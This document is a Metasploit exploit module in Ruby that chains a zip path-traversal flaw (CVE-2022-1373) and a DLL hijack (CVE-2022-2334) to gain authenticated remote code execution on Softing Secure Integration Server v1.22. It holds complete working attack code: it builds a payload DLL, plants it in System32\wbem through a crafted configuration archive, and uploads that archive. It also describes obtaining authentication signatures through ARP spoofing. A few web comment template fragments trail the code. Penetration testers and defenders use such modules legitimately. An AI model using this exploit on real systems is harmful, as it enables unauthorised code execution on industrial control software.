## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'zip' require 'metasploit/framework/login_scanner/softing_sis' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::EXE include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Softing Secure Integration Server v1.22 Remote Code Execution', 'Description' => %q{ This module chains two vulnerabilities (CVE-2022-1373 and CVE-2022-2334) to achieve authenticated remote code execution against Softing Secure Integration Server v1.22. In CVE-2022-1373, the restore configuration feature is vulnerable to a directory traversal vulnerablity when processing zip files. When using the "restore configuration" feature to upload a zip file containing a path traversal file which is a dll called ..\..\..\..\..\..\..\..\..\..\..\Windows\System32\wbem\wbemcomn.dll. This causes the file C:\Windows\System32\wbem\wbemcomn.dll to be created and executed upon touching the disk. In CVE-2022-2334, the planted wbemcomn.dll is used in a DLL hijacking attack when Softing Secure Integration Server restarts upon restoring configuration, which allows us to execute arbitrary code on the target system. The chain demonstrated in Pwn2Own used a signature instead of a password. The signature was acquired by running an ARP spoofing attack against the local network where the Softing SIS server was located. A username is also required for signature authentication. A custom DLL can be provided to use in the exploit instead of using the default MSF-generated one. Refer to the module documentation for more details. }, 'License' => MSF_LICENSE, 'Author' => [ 'Chris Anastasio (muffin) of Incite Team', # discovery 'Steven Seeley (mr_me) of Incite Team', # discovery 'Imran E. Dawoodjee <imrandawoodjee.infosec[at]gmail.com>', # msf module ], 'References' => [ ['CVE', '2022-1373'], ['CVE', '2022-2334'], ['ZDI', '22-1154'], ['ZDI', '22-1156'], ['URL', 'https://industrial.softing.com/fileadmin/psirt/downloads/syt-2022-5.html'], ['URL', 'https://ide0x90.github.io/softing-sis-122-rce/'] ], 'DefaultOptions' => { 'RPORT' => 8099, 'SSL' => false, 'EXITFUNC' => 'thread', 'WfsDelay' => 300 }, 'Platform' => 'win', # the software itself only supports x64, see # https://industrial.softing.com/products/opc-opc-ua-software-platform/integration-platform/secure-integration-server.html 'Arch' => [ARCH_X64], 'Targets' => [ [ 'Windows x64', { 'Arch' => ARCH_X64 } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2022-07-27', 'Privileged' => true, 'Compat' => { 'Meterpreter' => { 'Commands' => %w[ stdapi_fs_delete_file ] } }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] } ) ) register_options( [ OptString.new('SIGNATURE', [false, 'Use a username/signature pair instead of username/password pair to authenticate']), OptString.new('USERNAME', [false, 'The username to specify for authentication.', 'admin']), OptString.new('PASSWORD', [false, 'The password to specify for authentication', 'admin']), OptString.new('DLLPATH', [false, 'Custom compiled DLL to use']) ] ) self.needs_cleanup = true end # this will be updated with the signature from "check" @signature = nil # create a checker instance to reuse code from the Softing SIS login bruteforce module def checker_instance Metasploit::Framework::LoginScanner::SoftingSIS.new( configure_http_login_scanner( host: datastore['RHOSTS'], port: datastore['RPORT'], connection_timeout: 5 ) ).dup end # check if the generated/provided signature is valid for the specified user def signature_check(user, signature) send_request_cgi({ 'method' => 'GET', 'uri' => "/runtime/core/user/#{user}/authentication", 'vars_get' => { 'User' => user, 'Signature' => signature } }) end def check # check the Softing SIS version softing_version_res = checker_instance.check_setup unless softing_version_res return CheckCode::Unknown end softing_version = Rex::Version.new(softing_version_res) print_status("#{peer} - Found Softing Secure Integration Server #{softing_version}") # the vulnerabilities are to be fixed in version 1.30 according to the Softing advisory # so we will not continue if the version is not vulnerable unless softing_version < Rex::Version.new('1.30') return CheckCode::Safe end # if the operator provides a signature, then use that instead of the username and password if datastore['SIGNATURE'] print_status("#{peer} - Authenticating as user #{datastore['USERNAME']} with signature #{datastore['SIGNATURE']}...") # send a GET request to /runtime/core/user/<username>/authentication signature_check_res = signature_check(datastore['USERNAME'], datastore['SIGNATURE']) # if we cannot connect at this point, we only know that the version is < 1.30 # the system "appears" to be vulnerable unless signature_check_res print_error("#{peer} - Connection failed!") end # if the signature is correct, 200 OK is returned if signature_check_res.code == 200 print_good("#{peer} - Signature #{datastore['SIGNATURE']} is valid for user #{datastore['USERNAME']}") @signature = datastore['SIGNATURE'] else print_error("#{peer} - Signature #{datastore['SIGNATURE']} is invalid for user #{datastore['USERNAME']}!") end # login with username and password else # get the authentication token auth_token = checker_instance.get_auth_token(datastore['USERNAME']) # generate the signature @signature = checker_instance.generate_signature(auth_token[:proof], datastore['USERNAME'], datastore['PASSWORD']) # check the generated signatures' validity signature_check_res = signature_check(datastore['USERNAME'], @signature) # if we cannot connect, then the system "appears" to be vulnerable unless signature_check_res print_error("#{peer} - Connection failed!") end # if the signature is correct, 200 OK is returned if signature_check_res.code == 200 print_good("#{peer} - Valid credentials provided") else print_error("#{peer} - Invalid credentials!") end end # if the version is less than 1.30 it's supposedly vulnerable # but there is no way to confirm vulnerability existence without actually exploiting # so instead of "Vulnerable", return "Appears" CheckCode::Appears end def exploit # did the operator specify a custom DLL? If not... if datastore['DLLPATH'] # otherwise, just use their provided DLL and assume they compiled everything correctly # there is no way to check if it's compiled correctly anyway dll_path = datastore['DLLPATH'] else # have MSF create the malicious DLL path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2022-2334') datastore['EXE::Path'] = path datastore['EXE::Template'] = ::File.join(path, 'template_x64_windows.dll') print_status('Generating payload DLL...') dll = generate_payload_dll dll_name = 'wbemcomn.dll' dll_path = store_file(dll, dll_name) print_status("Created #{dll_path}") end # backup the Softing SIS configuration print_status("#{peer} - Saving configuration...") get_config_zip_res = send_request_cgi({ 'method' => 'GET', 'uri' => '/runtime/core/config-download', 'vars_get' => { 'User' => datastore['USERNAME'], 'Signature' => @signature } }) # end if we cannot get the configuration for some reason unless get_config_zip_res fail_with Failure::Unreachable, "#{peer} - Could not obtain configuration" end # status code 200 is the expected response to getting the configuration ZIP unless get_config_zip_res.code == 200 # for verbosity, save the JSON response get_config_zip_res_json = get_config_zip_res.get_json_document vprint_error("#{peer} - #{get_config_zip_res_json}") fail_with Failure::UnexpectedReply, "#{peer} - Returned code #{get_config_zip_res.code}, could not obtain configuration" end # if successful, the body cnotains the configuration ZIP config_zip = get_config_zip_res.body # config_download.zip is the name of the configuration ZIP when downloading from the browser # append a hash based on the peer address to prevent overwriting the config file if there are multiple targets config_zip_name = "config_download_#{Digest::MD5.hexdigest(peer)}.zip" # store the config zip file config_zip_path = store_file(config_zip, config_zip_name) print_status("Saved configuration to #{config_zip_path}") # insert the malicious DLL Zip::File.open(config_zip_path, Zip::File::CREATE) do |zipfile| zipfile.add('..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\Windows\\System32\\wbem\\wbemcomn.dll', dll_path) end # restore the configuration restore_config_res = send_request_cgi({ 'method' => 'PUT', 'uri' => '/runtime/core/config-restore', 'cookie' => "systemLang=en-US; lang=en; User=#{datastore['USERNAME']}; Signature=#{@signature}", 'vars_get' => { 'User' => datastore['USERNAME'], 'Signature' => @signature }, 'data' => File.read(config_zip_path) }) # no response unless restore_config_res fail_with Failure::Unreachable, "#{peer} - Could not restore configuration!" end # bad response unless restore_config_res.code == 200 # for verbosity, show the JSON response restore_config_res_json = restore_config_res.get_json_document vprint_error("#{peer} - #{restore_config_res_json}") fail_with Failure::UnexpectedReply, "#{peer} - Returned code #{restore_config_res.code}, could not restore configuration!" end end # clean up the planted DLL if the session is meterpreter def on_new_session(session) super unless file_dropper_delete_file(session, 'C:\\Windows\\System32\\wbem\\wbemcomn.dll') # if the exploit was successful, register the malicious wbemcomn.dll file for cleanup register_file_for_cleanup('C:\\Windows\\System32\\wbem\\wbemcomn.dll') end end # Store the file in the MSF local directory (/root/.msf4/local/) so it can be used when creating the ZIP file # literal copypasta from exploits/windows/fileformat/cve_2017_8464_lnk_rce def store_file(data, filename) if !::File.directory?(Msf::Config.local_directory) FileUtils.mkdir_p(Msf::Config.local_directory) end if filename && !filename.empty? fname, ext = filename.split('.') else fname = "local_#{Time.now.utc.to_i}" end fname = ::File.split(fname).last fname.gsub!(/[^a-z0-9._-]+/i, '') fname << ".#{ext}" path = File.join("#{Msf::Config.local_directory}/", fname) full_path = ::File.expand_path(path) File.open(full_path, 'wb') { |fd| fd.write(data) } full_path.dup end end
{{ x.nick }}
{{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1 {{ x.comment }} |